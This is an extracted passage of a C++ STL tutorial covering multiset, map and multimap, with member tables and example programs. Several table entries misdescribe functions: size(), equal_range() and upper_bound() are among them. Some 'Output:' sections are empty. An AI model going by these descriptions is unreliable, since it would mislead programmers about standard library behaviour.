empty() Tests if a multiset is empty.
end() Returns an iterator that addresses the location succeeding the last element in a multiset.
Returns a pair of iterators respectively to the first element in a multiset with a key that is
equal_range() greater than a specified key and to the first element in the multiset with a key that is
equal to or greater than the key.
Removes an element or a range of elements in a multiset from specified positions or
erase()
removes elements that match a specified key.
Returns an iterator addressing the first location of an element in a multiset that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the multiset.
insert() Inserts an element or a range of elements into a multiset.
A type that provides a function object that can compare two sort keys to determine the
key_comp()
relative order of two elements in the multiset.
Returns an iterator to the first element in a multiset with a key that is equal to or greater
lower_bound()
than a specified key.
max_size() Returns the maximum length of the multiset.
multiset constructor, constructs a multiset that is empty or that is a copy of all or part of
multiset()
some other multiset.
rbegin() Returns an iterator addressing the first element in a reversed multiset.
Returns an iterator that addresses the location succeeding the last element in a reversed
rend()
multiset.
size() A type that counts the number of elements in a multiset.
swap() Exchanges the elements of two multisets.
Returns an iterator to the first element in a multiset that with a key that is equal to or
upper_bound()
greater than a specified key.
value_comp() Retrieves a copy of the comparison object used to order element values in a multiset.

Table 28.13

multiset Template Class

- The STL multiset class is used for the storage and retrieval of data from a collection in which the
values of the elements contained need not be unique and in which they serve as the key values
according to which the data is automatically ordered.
- The key value of an element in a multiset may not be changed directly. Instead, old values must be
deleted and elements with new values inserted. The following code is the multiset template class.

template <
class Key,
class Compare = less<Key>,
class Allocator = allocator<Key>
>

Parameters

Parameter Description
Key The element data type to be stored in the multiset.
The type that provides a function object that can compare two element values as sort
Compare
keys to determine their relative order in the multiset. The binary predicate less<Key>
is the default value.
The type that represents the stored allocator object that encapsulates details about the
Allocator
multiset's allocation and de-allocation of memory. The default value is
allocator<Key>.

Table 28.14

www.tenouk.com Page 23 of 29
- The STL multiset class is:

▪ An associative container, which is a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides bidirectional iterators to access its elements.
▪ Sorted, because its elements are ordered by key values within the container in accordance with a
specified comparison function.
▪ Multiple in the sense that its elements do not need to have unique keys, so that one key value can
have many element values associated with it.
▪ A simple associative container because its element values are its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements. The data type to be used is, instead, specified as a
parameter in the class template along with the comparison function and allocator.

multiset Constructor

- Constructs a multiset that is empty or that is a copy of all or part of some other multiset.
- All constructors store a type of allocator object that manages memory storage for the multiset and that
can later be returned by calling get_allocator(). The allocator parameter is often omitted in the
class declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their multiset.
- All constructors store a function object of type Compare that is used to establish an order among the
keys of the multiset and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial multiset, the second specifying the type of
comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used.
- The fourth constructor specifies a copy of the multiset _Right.
- The last three constructors copy the range [_First, _Last) of a multiset with increasing
explicitness in specifying the type of comparison function and allocator.

//multiset, constructor
#include <set>
#include <iostream>
using namespace std;

int main()
{
multiset <int>::iterator mst0_Iter, mst1_Iter, mst2_Iter, mst3_Iter;
multiset <int>::iterator mst4_Iter, mst5_Iter, mst6_Iter;

//Create an empty multiset mst0 of key type integer


multiset <int> mst0;

//Create an empty multiset mst1 with the key comparison


//function of less than, then insert 6 elements
multiset <int, less<int> > mst1;
mst1.insert(41);
mst1.insert(15);
mst1.insert(30);
mst1.insert(10);
mst1.insert(15);
mst1.insert(35);

//Create an empty multiset mst2 with the key comparison


//function of greater than, then insert 4 elements
multiset <int, greater<int> > mst2;
mst2.insert(10);
mst2.insert(21);
mst2.insert(8);
mst2.insert(21);

//Create a multiset mst3 with the


//allocator of multiset mst1
multiset <int>::allocator_type mst1_Alloc;
mst1_Alloc = mst1.get_allocator();
multiset <int> mst3(less<int>(), mst1_Alloc);
mst3.insert(7);
mst3.insert(12);
mst3.insert(9);

www.tenouk.com Page 24 of 29
//multiset mst4, a copy of multiset mst1
multiset <int> mst4(mst1);

//Create a multiset mst5 by copying the range mst1[_First, _Last)


multiset <int>::const_iterator mst1_PIter, mst1_QIter;
mst1_PIter = mst1.begin();
mst1_QIter = mst1.begin();
mst1_QIter++;
mst1_QIter++;
multiset <int> mst5(mst1_PIter, mst1_QIter);

//Create a multiset mst6 by copying the range mst4[_First, _Last)


//and with the allocator of multiset mst2
multiset <int>::allocator_type mst2_Alloc;
mst2_Alloc = mst2.get_allocator();
multiset <int> mst6(mst4.begin(), ++mst4.begin(), less<int>(), mst2_Alloc);

//-----------------------------------------------------
cout<<"Operation: multiset <int> mst0\n";
cout<<"mst0 data: ";
for(mst0_Iter = mst0.begin(); mst0_Iter != mst0.end(); mst0_Iter++)
cout<<" " <<*mst0_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int, less<int> > mst1\n";


cout<<"Operation: mst1.insert(41)...\n";
cout<<"mst1 data: ";
for(mst1_Iter = mst1.begin(); mst1_Iter != mst1.end(); mst1_Iter++)
cout<<" "<<*mst1_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int, greater<int> > mst2\n";


cout<<"Operation: mst2.insert(10)...\n";
cout<<"mst2 data: "<<*mst2.begin()<<" "<<*++mst2.begin()<<endl;

cout<<"\nOperation: multiset <int> mst3(less<int>(), mst1_Alloc)\n";


cout<<"Operation: mst3.insert(7)...\n";
cout<<"mst3 data: ";
for(mst3_Iter = mst3.begin(); mst3_Iter != mst3.end(); mst3_Iter++)
cout<<" "<<*mst3_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int> mst4(mst1)\n";


cout<<"mst4 data: ";
for(mst4_Iter = mst4.begin(); mst4_Iter != mst4.end(); mst4_Iter++)
cout<<" "<<*mst4_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int> mst5(mst1_PIter, mst1_QIter)\n";


cout<<"mst5 data: ";
for(mst5_Iter = mst5.begin(); mst5_Iter != mst5.end(); mst5_Iter++)
cout<<" "<<*mst5_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int> mst6(mst4.begin(), \n++mst4.begin(), less<int>(),


mst2_Alloc);\n";
cout<<"mst6 data: ";
for(mst6_Iter = mst6.begin(); mst6_Iter != mst6.end(); mst6_Iter++)
cout<<" "<<*mst6_Iter;
cout<<endl;
return 0;
}

Output:

www.tenouk.com Page 25 of 29
find() program example

- The return value is an iterator or const_iterator that addresses the first location of an
element with a specified key, or the location succeeding the last element in the multiset if no match is
found for the key.
- The member function returns an iterator that addresses an element in the multiset whose sort key is
equivalent to the argument key under a binary predicate that induces an ordering based on a less than
comparability relation.
- If the return value of find() is assigned to a const_iterator, the multiset object cannot be
modified. If the return value of find() is assigned to an iterator, the multiset object can be
modified.

//multiset, find()
#include <set>
#include <iostream>
using namespace std;

int main()
{
multiset <int> mst1;
multiset <int>::const_iterator mst1_QIter, mst1_PIter, mst1_RIter;

mst1.insert(6);
mst1.insert(2);
mst1.insert(14);
mst1.insert(6);
mst1.insert(10);

cout<<"mst1 data: ";


for(mst1_RIter = mst1.begin(); mst1_RIter != mst1.end(); mst1_RIter++)
cout<<" "<<*mst1_RIter;
cout<<endl;

mst1_PIter = mst1.find(10);
cout<<"The first element of multiset mst1 with a key of 10 is: "
<<*mst1_PIter<<endl;

mst1_PIter = mst1.find(21);

//If no match is found for the key, end() is returned


if(mst1_PIter == mst1.end())
cout<<"\nThe multiset mst1 doesn't have an element "
<<"with a key of 21"<<endl;
else
cout<<"\nThe element of multiset mst1 with a key of 21 is: "
<<*mst1_PIter<<endl;

www.tenouk.com Page 26 of 29
//The element at a specific location in the multiset can be
//found using a dereferenced iterator addressing the location
mst1_QIter = mst1.end();
mst1_QIter--;
mst1_PIter = mst1.find(*mst1_QIter);
cout<<"\nThe first element of mst1 with a\nkey matching "
<<"that of the last element is: "
<<*mst1_PIter<<endl;

//Note that the first element with a key equal to


//the key of the last element is not the last element
if(mst1_PIter == --mst1.end())
cout<<"\nThis is the last element of multiset mst1."
<<endl;
else
cout<<"\nThis is not the last element of multiset mst1."
<<endl;
return 0;
}

Output:

- Program examples compiled using g++.

//*****listsort.cpp******
//list, sort()
#include <list>
#include <iostream>
using namespace std;

int main()
{
list <int> ls1;
list <int>::iterator ls1Iter;

ls1.push_back(31);
ls1.push_back(12);
ls1.push_back(40);
ls1.push_back(15);
ls1.push_back(9);
ls1.push_back(44);

cout<<"Before sorting, ls1 data: ";


for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation: ls1.sort()\n";
ls1.sort();
cout<<"After sorting, ls1 data: ";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation: ls1.sort(greater<int>())\n";
ls1.sort(greater<int>());
cout<<"Re sort with 'greater than' operation,\nls1 =";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
return 0;
}

www.tenouk.com Page 27 of 29
[bodo@bakawali ~]$ g++ listsort.cpp -o listsort
[bodo@bakawali ~]$ ./listsort

Before sorting, ls1 data: 31 12 40 15 9 44

Operation: ls1.sort()
After sorting, ls1 data: 9 12 15 31 40 44

Operation: ls1.sort(greater<int>())
Re sort with 'greater than' operation,
ls1 = 44 40 31 15 12 9

//******setcount.cpp*******
//set, count()
//some warning during the compilation
#include <set>
#include <iostream>
using namespace std;

int main()
{
set <int> st1;
int i;

st1.insert(1);
st1.insert(2);
st1.insert(1);

//Keys must be unique in set, duplicates are ignored


i = st1.count(1);
cout<<"The number of elements in st1 with a sort key of 1 is: "<<i<<endl;

i = st1.count(2);
cout<<"The number of elements in st1 with a sort key of 2 is: "<<i<<endl;

i = st1.count(3);
cout<<"The number of elements in st1 with a sort key of 3 is: "<<i<<endl;

return 0;
}

[bodo@bakawali ~]$ g++ setcount.cpp -o setcount


[bodo@bakawali ~]$ ./setcount

The number of elements in st1 with a sort key of 1 is: 1


The number of elements in st1 with a sort key of 2 is: 1
The number of elements in st1 with a sort key of 3 is: 0

//******multisetfind.cpp******
//multiset, find()
#include <set>
#include <iostream>
using namespace std;

int main()
{
multiset <int> mst1;
multiset <int>::const_iterator mst1_QIter, mst1_PIter, mst1_RIter;

mst1.insert(6);
mst1.insert(2);
mst1.insert(14);
mst1.insert(6);
mst1.insert(10);

cout<<"mst1 data: ";


for(mst1_RIter = mst1.begin(); mst1_RIter != mst1.end(); mst1_RIter++)
cout<<" "<<*mst1_RIter;
cout<<endl;

mst1_PIter = mst1.find(10);
cout<<"The first element of multiset mst1 with a key of 10 is: "
<<*mst1_PIter<<endl;

mst1_PIter = mst1.find(21);

www.tenouk.com Page 28 of 29
//If no match is found for the key, end() is returned
if(mst1_PIter == mst1.end())
cout<<"\nThe multiset mst1 doesn't have an element "
<<"with a key of 21"<<endl;
else
cout<<"\nThe element of multiset mst1 with a key of 21 is: "
<<*mst1_PIter<<endl;

//The element at a specific location in the multiset can be


//found using a dereferenced iterator addressing the location
mst1_QIter = mst1.end();
mst1_QIter--;
mst1_PIter = mst1.find(*mst1_QIter);
cout<<"\nThe first element of mst1 with a\nkey matching "
<<"that of the last element is: "
<<*mst1_PIter<<endl;

//Note that the first element with a key equal to


//the key of the last element is not the last element
if(mst1_PIter == --mst1.end())
cout<<"\nThis is the last element of multiset mst1."
<<endl;
else
cout<<"\nThis is not the last element of multiset mst1."
<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ multisetfind.cpp -o multisetfind


[bodo@bakawali ~]$ ./multisetfind

mst1 data: 2 6 6 10 14
The first element of multiset mst1 with a key of 10 is: 10

The multiset mst1 doesn't have an element with a key of 21

The first element of mst1 with a


key matching that of the last element is: 14

This is the last element of multiset mst1.

----------------------------------------End of multiset-----------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 29 of 29
MODULE 29
--THE STL--
CONTAINER PART III
map, multimap, hash_map, hash_multimap,
hash_set, hash_multiset

My Training Period: hours

Note:
Compiled using VC++7.0 / .Net, win32 empty console mode application. Be careful with the source codes than
span more than one line. g++ compilation examples are given at the end of this Module.

Abilities

▪ Able to understand and use map associative container.


▪ Able to understand and use multimap associative container.
▪ Able to understand and use hash_map associative container.
▪ Able to understand and use hash_multimap associative container.
▪ Able to understand and use hash_set associative container.
▪ Able to understand and use hash_multiset container.
▪ Remember some useful summary.

29.1 map

- A map contains elements that are key and value pairs. Each element has a key that is the basis for the
sorting criterion and a value.
- Each key may occur only once, thus duplicate keys are not allowed.
- A map can also be used as an associative array, which is an array that has an arbitrary index type. It
can be depicted as follow:

- The binary tree of the map and multimap structure can be depicted as follow:

- The iterator provided by the map class is a bidirectional iterator, but the class member functions
insert() and map() have versions that take as template parameters a weaker input iterator, whose
functionality requirements are more minimal than those guaranteed by the class of bidirectional
iterators.
- The different iterator concepts form a family related by refinements in their functionality. Each iterator
concept has its own set of requirements and the algorithms that work with them must limit their
assumptions to the requirements provided by that type of iterator.
- This type of structure is an ordered list of uniquely occurring key words with associated string
values. If, instead, the words had more than one correct definition, so that keys were not unique, then a
multimap would be the container of choice.
- If, on the other hand, just the list of words were being stored, then a set would be the correct container.
If multiple occurrences of the words were allowed, then a multiset would be the appropriate container
structure.

www.tenouk.com Page 1 of 33
- The map orders the sequence it controls by calling a stored function object of type key_compare.
This stored object is a comparison function that may be accessed by calling the member function
key_comp().
- The general format of the map and multimap operation is shown in the following Table.

Map Operation
map<Key, Element> A map that sorts keys with default, less<>(operator <).
map<Key, Element, Operator> A map that sorts keys with Operator.
multimap<Key, Element> A multimap that sorts keys with less<>(operator <).
multimap<Key, Element, Operator> A multimap that sorts keys with Operator.

Table 29.1

29.2 <map> Header Members

map Operators

Operators Description
Tests if the map or multimap object on the left side of the operator is not equal to the map
operator!=
or multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is less than the map or
operator<
multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is less than or equal to
operator<=
the map or multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is equal to the map or
operator==
multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is greater than the map
operator>
or multimap object on the right side.
Tests if the map or multimap object on the left side of the operator is greater than or equal
operator>=
to the map or multimap object on the right side.

Table 29.2

map Specialized Template Functions

Specialized template
Description
function
Exchanges the elements of two maps or
swap()
multimaps.

Table 29.3

map Classes

Class Description
value_compare Provides a function object that can compare the elements of a map by comparing the
Class values of their keys to determine their relative order in the map.
Used for the storage and retrieval of data from a collection in which the each of the
map Class
elements has a unique key with which the data is automatically ordered.
Used for the storage and retrieval of data from a collection in which the each of the
multimap
elements has a key with which the data is automatically ordered and the keys do not
Class
need to have unique values.

Table 29.4

map Template Class Members

Typedefs

Template Class Member Description


allocator_type A type that represents the allocator class for the map object.
A type that provides a bidirectional iterator that can read a const element in
const_iterator
the map.

www.tenouk.com Page 2 of 33
const_pointer A type that provides a pointer to a const element in a map.
A type that provides a reference to a const element stored in a map for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element
const_reverse_iterator
in the map.
A signed integer type that can be used to represent the number of elements of
difference_type
a map in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a map.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the map.
A type that describes the sort key object which constitutes each element of
key_type
the map.
mapped_type A type that represents the data type stored in a map.
pointer A type that provides a pointer to a const element in a map.
reference A type that provides a reference to an element stored in a map.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed map.
size_type An unsigned integer type that can represent the number of elements in a map
A type that provides a function object that can compare two elements as sort
value_type
keys to determine their relative order in the map.

Table 29.5

map Template Class Member Functions

Template class
Description
member function
begin() Returns an iterator addressing the first element in the map.
clear() Erases all the elements of a map.
Returns the number of elements in a map whose key matches a parameter-specified
count()
key.
empty() Tests if a map is empty.
end() Returns an iterator that addresses the location succeeding the last element in a map.
equal_range() Returns an iterator that addresses the location succeeding the last element in a map.
erase() Removes an element or a range of elements in a map from specified positions
Returns an iterator addressing the location of an element in a map that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the map.
insert() Inserts an element or a range of elements into the map at a specified position.
key_comp() Retrieves a copy of the comparison object used to order keys in a map.
Returns an iterator to the first element in a map that with a key value that is equal to
lower_bound()
or greater than that of a specified key.
map constructor, constructs a list of a specific size or with elements of a specific
map()
value or with a specific allocator or as a copy of some other map.
max_size() Returns the maximum length of the map.
rbegin() Returns an iterator addressing the first element in a reversed map.
Returns an iterator that addresses the location succeeding the last element in a
rend()
reversed map.
size() Specifies a new size for a map.
swap() Exchanges the elements of two maps.
Returns an iterator to the first element in a map that with a key value that is greater
upper_bound()
than that of a specified key.
value_comp() Retrieves a copy of the comparison object used to order element values in a map.

Table 29.6

map Template Class Operator

Operator Description
Inserts an element into a map with a specified key
operator[]
value.

Table 29.7

www.tenouk.com Page 3 of 33
- The STL map class is used for the storage and retrieval of data from a collection in which the each
element is a pair that has both a data value and a sort key.
- The value of the key is unique and is used to order the data is automatically. The value of an element
in a map, but not its associated key value, may be changed directly.
- Instead, key values associated with old elements must be deleted and new key values associated with
new elements inserted.

template <
class Key,
class Type,
class Traits = less<Key>,
class Allocator = allocator<pair <const Key, Type> >
>

Parameters

Parameter Description
Key The key data type to be stored in the map.
Type The element data type to be stored in the map.
The type that provides a function object that can compare two element values as sort keys to
Traits
determine their relative order in the map. This argument is optional and the binary predicate
less<Key> is the default value.
The type that represents the stored allocator object that encapsulates details about the map's
Allocator
allocation and de-allocation of memory. This argument is optional and the default value is
allocator<pair <const Key, Type> >.

Table 29.8

- The STL map class is:

▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides bidirectional iterators to access its elements.
▪ Sorted, because its elements are ordered by key values within the container in accordance with a
specified comparison function.
▪ Unique in the sense that each of its elements must have a unique key.
▪ A pair associative container, because its element data values are distinct from its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements or keys. The data types to be used for elements and
keys are, instead, specified as parameters in the class template along with the comparison function
and allocator.

map Constructor

- Constructs a map that is empty or that is a copy of all or part of some other map.
- All constructors store a type of allocator object that manages memory storage for the map and that can
later be returned by calling get_allocator. The allocator parameter is often omitted in the class
declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their map.
- All constructors store a function object of type Traits that is used to establish an order among the keys
of the map and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial map, the second specifying the type of comparison
function (_Comp) to be used in establishing the order of the elements and the third explicitly
specifying the allocator type (_Al) to be used. The key word explicit suppresses certain kinds
of automatic type conversion.
- The fourth constructor specifies a copy of the map _Right.
- The last three constructors copy the range [_First, _Last) of a map with increasing explicitness
in specifying the type of comparison function of class Traits and allocator.

//map, constructor
//compiled with VC++ 7.0
//or .Net
#include <map>
#include <iostream>
using namespace std;

www.tenouk.com Page 4 of 33
int main( )
{

typedef pair<int, int> Int_Pair;


map<int, int>::iterator mp0_Iter, mp1_Iter, mp3_Iter, mp4_Iter, mp5_Iter, mp6_Iter;
map<int, int, greater<int> >::iterator mp2_Iter;

//Create an empty map mp0 of key type integer


map <int, int> mp0;

//Create an empty map mp1 with the key comparison


//function of less than, then insert 6 elements
map <int, int, less<int> > mp1;
mp1.insert(Int_Pair(1, 13));
mp1.insert(Int_Pair(3, 23));
mp1.insert(Int_Pair(3, 31));
mp1.insert(Int_Pair(2, 23));
mp1.insert(Int_Pair(6, 15));
mp1.insert(Int_Pair(9, 25));

//Create an empty map mp2 with the key comparison


//function of greater than, then insert 3 elements
map <int, int, greater<int> > mp2;
mp2.insert(Int_Pair(3, 12));
mp2.insert(Int_Pair(1, 31));
mp2.insert(Int_Pair(2, 21));

//Create a map mp3 with the


//allocator of map mp1
map <int, int>::allocator_type mp1_Alloc;
mp1_Alloc = mp1.get_allocator();
map <int, int> mp3(less<int>(), mp1_Alloc);
mp3.insert(Int_Pair(1, 10));
mp3.insert(Int_Pair(2, 12));

//Create a copy, map mp4, of map mp1


map <int, int> mp4(mp1);

//Create a map mp5 by copying the range mp1[_First, _Last)


map <int, int>::const_iterator mp1_PIter, mp1_QIter;
mp1_PIter = mp1.begin();
mp1_QIter = mp1.begin();
mp1_QIter++;
mp1_QIter++;
map <int, int> mp5(mp1_PIter, mp1_QIter);

//Create a map mp6 by copying the range mp4[_First, _Last)


//and with the allocator of map mp2
map <int, int>::allocator_type mp2_Alloc;
mp2_Alloc = mp2.get_allocator();
map <int, int> mp6(mp4.begin(), ++mp4.begin(), less<int>(), mp2_Alloc);

//--------------------------------------------------------
cout<<"Operation: map <int, int> mp0\n";
cout<<"mp0 data: ";
for(mp0_Iter = mp0.begin(); mp0_Iter != mp0.end(); mp0_Iter++)
cout<<" "<<mp0_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int, less<int> > mp1\n";


cout<<"Operation2: mp1.insert(Int_Pair(1, 13))...\n";
cout<<"mp1 data: ";
for(mp1_Iter = mp1.begin(); mp1_Iter != mp1.end(); mp1_Iter++)
cout<<" "<<mp1_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int, greater<int> > mp2\n";


cout<<"Operation2: mp2.insert(Int_Pair(3, 12))...\n";
cout<<"mp2 data: ";
for(mp2_Iter = mp2.begin(); mp2_Iter != mp2.end(); mp2_Iter++)
cout<<" "<<mp2_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int> mp3(less<int>(), mp1_Alloc)\n";


cout<<"Operation2: mp3.insert(Int_Pair(1, 10))...\n";
cout<<"mp3 data: ";
for(mp3_Iter = mp3.begin(); mp3_Iter != mp3.end(); mp3_Iter++)
cout<<" "<<mp3_Iter->second;
cout<<endl;

www.tenouk.com Page 5 of 33
cout<<"\nOperation: map <int, int> mp4(mp1)\n";
cout<<"mp4 data: ";
for(mp4_Iter = mp4.begin(); mp4_Iter != mp4.end(); mp4_Iter++)
cout<<" "<<mp4_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp5(mp1_PIter, mp1_QIter)\n";


cout<<"mp5 data: ";
for(mp5_Iter = mp5.begin(); mp5_Iter != mp5.end(); mp5_Iter++)
cout<<" "<<mp5_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp6(mp4.begin(), \n++mp4.begin(), less<int>(),


mp2_Alloc);\n";
cout<<"mp6 data: ";
for(mp6_Iter = mp6.begin(); mp6_Iter != mp6.end(); mp6_Iter++)
cout<<" "<<mp6_Iter->second;
cout<<endl;
return 0;
}

Output:

-----------------------------------------------------End of map------------------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

29.3 multimap

- A multimap is the same as a map except that duplicates are allowed. Thus, a multimap may contain
multiple elements that have the same key. A multimap can also be used as dictionary.
- It can be depicted as follows:

www.tenouk.com Page 6 of 33
- The iterator provided by the map class is a bidirectional iterator, but the class member functions
insert() and multimap() have versions that take as template parameters a weaker input iterator,
whose functionality requirements are more minimal than those guaranteed by the class of bidirectional
iterators.
- The multimap orders the sequence it controls by calling a stored function object of type
key_compare. This stored object is a comparison function that may be accessed by calling the
member function key_comp().
- The (key, value) pairs are stored in a multimap as objects of type pair. The pair class requires
the header <utility>, which is automatically included by <map>.

29.4 multimap Members

Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the multimap object.
A type that provides a bidirectional iterator that can read a const element in
const_iterator
the multimap.
const_pointer A type that provides a pointer to a const element in a multimap.
A type that provides a reference to a const element stored in a multimap for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element
const_reverse_iterator
in the multimap.
A signed integer type that can be used to represent the number of elements of a
difference_type
multimap in a range between elements pointed to by iterators.
A type that provides the difference between two iterators those refer to
iterator
elements within the same multimap.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the multimap.
A type that describes the sort key object that constitutes each element of the
key_type
multimap.
mapped_type A type that represents the data type stored in a multimap.
pointer A type that provides a pointer to a const element in a multimap.
reference A type that provides a reference to an element stored in a multimap.
A type that provides a bidirectional iterator that can read or modify an element
reverse_iterator
in a reversed multimap.
An unsigned integer type that provides a pointer to a const element in a
size_type
multimap
A type that provides a function object that can compare two elements as sort
value_type
keys to determine their relative order in the multimap

Table 29.9

Member Functions

Member function Description


begin() Returns an iterator addressing the first element in the multimap.
clear() Erases all the elements of a multimap.
Returns the number of elements in a multimap whose key matches a parameter-specified
count()
key.
empty() Tests if a multimap is empty.
end() Returns an iterator that addresses the location succeeding the last element in a multimap.
equal_range() Returns a pair of iterators respectively to the first element in a multimap with a key that is

www.tenouk.com Page 7 of 33
greater than a specified key and to the first element in the multimap with a key that is
equal to or greater than the key.
Removes an element or a range of elements in a multimap from specified positions or
erase()
removes elements that match a specified key.
Returns an iterator addressing the first location of an element in a multimap that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the multimap.
insert() Inserts an element or a range of elements into a multimap.
key_comp() Retrieves a copy of the comparison object used to order keys in a multimap.
Returns an iterator to the first element in a multimap that with a key that is equal to or
lower_bound()
greater than a specified key.
max_size() Returns the maximum length of the multimap.
multimap constructor constructs a multimap that is empty or that is a copy of all or part of
multimap()
some other multimap.
rbegin() Returns an iterator addressing the first element in a reversed multimap.
Returns an iterator that addresses the location succeeding the last element in a reversed
rend()
multimap.
size() Returns the number of elements in the multimap.
swap() Exchanges the elements of two multimaps.
Returns an iterator to the first element in a multimap that with a key that is greater than a
upper_bound()
specified key.
The member function returns a function object that determines the order of elements in a
value_comp()
multimap by comparing their key values.

Table 29.10

multimap Class

- The (key, value) pairs are stored in a multimap as objects of type pair. The pair class requires
the header <utility>, which is automatically included by <map>.
- The STL multimap class is used for the storage and retrieval of data from a collection in which each
element is a pair that has both a data value and a sort key. The value of the key does not need to be
unique and is used to order the data automatically.
- The value of an element in a multimap, but not its associated key value, may be changed directly.
Instead, key values associated with old elements must be deleted and new key values associated with
new elements inserted.

template <
class Key,
class Type,
class Traits=less<Key>,
class Allocator=allocator<pair <const Key, Type> >
>

Parameters

Parameter Description
Key The key data type to be stored in the multimap.
Type The element data type to be stored in the multimap.
The type that provides a function object that can compare two element values as sort keys
Traits to determine their relative order in the multimap. The binary predicate less<Key> is the
default value.
The type that represents the stored allocator object that encapsulates details about the
Allocator
map's allocation and de-allocation of memory. This argument is optional and the default
value is allocator<pair <const Key, Type> >.

Table 29.11

- The STL multimap class is:

▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides bidirectional iterators to access its elements.
▪ Sorted, because its elements are ordered by key values within the container in accordance with a
specified comparison function.

www.tenouk.com Page 8 of 33
▪ Multiple, because its elements do not need to have a unique keys, so that one key value may have
many element data values associated with it.
▪ A pair associative container, because its element data values are distinct from its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements or keys. The data types to be used for elements and
keys are, instead, specified as parameters in the class template along with the comparison function
and allocator.

multimap Constructor

- Constructs a multimap that is empty or that is a copy of all or part of some other multimap.
- All constructors store a type of allocator object that manages memory storage for the multimap and that
can later be returned by calling get_allocator. The allocator parameter is often omitted in the class
declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their multimap.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the multimap and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial multimap, the second specifying the type of
comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used. The keyword explicit suppresses certain
kinds of automatic type conversion.
- The fourth constructor specifies a copy of the multimap _Right.
- The last three constructors copy the range [_First, _Last) of a map with increasing explicitness
in specifying the type of comparison function of class Traits and allocator.

//multimap, constructor or ctor


//compiled with VC++ 7.0 or .Net
//notice the duplicate key and data element
#include <map>
#include <iostream>
using namespace std;

int main()
{
typedef pair<int, int> Int_Pair;
multimap<int, int>::iterator mmp0Iter, mmp1Iter, mmp3Iter, mmp4Iter, mmp5Iter, mmp6Iter;
multimap<int, int, greater<int> >::iterator mmp2Iter;

//Create an empty multimap mmp0 of key type integer


multimap <int, int> mmp0;

//Create an empty multimap mmp1 with the key comparison


//function of less than, then insert 6 elements
multimap<int, int, less<int> > mmp1;
mmp1.insert(Int_Pair(2, 2));
mmp1.insert(Int_Pair(2, 21));
mmp1.insert(Int_Pair(1, 5));
mmp1.insert(Int_Pair(3, 12));
mmp1.insert(Int_Pair(5, 32));
mmp1.insert(Int_Pair(4, 21));

//Create an empty multimap mmp2 with the key comparison


//function of greater than, then insert 4 elements
multimap <int, int, greater<int> > mmp2;
mmp2.insert(Int_Pair(1, 11));
mmp2.insert(Int_Pair(2, 10));
mmp2.insert(Int_Pair(2, 11));
mmp2.insert(Int_Pair(3, 12));

//Create a multimap mmp3 with the


//allocator of multimap mmp1
multimap <int, int>::allocator_type mmp1_Alloc;
mmp1_Alloc = mmp1.get_allocator();
multimap <int, int> mmp3(less<int>(), mmp1_Alloc);
mmp3.insert(Int_Pair(3, 12));
mmp3.insert(Int_Pair(1, 21));

//multimap mmp4, a copy of multimap mmp1


multimap <int, int> mmp4(mmp1);

//Create a multimap mmp5 by copying the range mmp1[_First, _Last)


multimap <int, int>::const_iterator mmp1_PIter, mmp1_QIter;
mmp1_PIter = mmp1.begin();

www.tenouk.com Page 9 of 33
mmp1_QIter = mmp1.begin();
mmp1_QIter++;
mmp1_QIter++;
multimap <int, int> mmp5(mmp1_PIter, mmp1_QIter);

//Create a multimap mmp6 by copying the range mmp4[_First, _Last)


//and with the allocator of multimap mmp2
multimap <int, int>::allocator_type mmp2_Alloc;
mmp2_Alloc = mmp2.get_allocator();
